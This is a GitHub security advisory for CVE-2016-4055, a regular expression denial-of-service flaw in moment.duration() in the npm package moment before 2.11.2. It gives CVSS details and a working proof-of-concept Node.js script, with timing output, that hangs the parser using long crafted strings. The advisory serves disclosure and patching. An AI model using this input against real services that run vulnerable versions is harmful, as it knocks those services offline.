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Regular Expression Denial of Service in moment

Moderate severity GitHub Reviewed Published Oct 24, 2017 to the GitHub Advisory Database • Updated Feb 3, 2023

Package

npm moment (npm)

Affected versions

< 2.11.2

Patched versions

2.11.2

Description

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

References

Published by the National Vulnerability Database Jan 23, 2017
Published to the GitHub Advisory Database Oct 24, 2017
Reviewed Jun 16, 2020
Last updated Feb 3, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.986%
(83rd percentile)

Weaknesses

CVE ID

CVE-2016-4055

GHSA ID

GHSA-87vv-r9j6-g5qv

Source code

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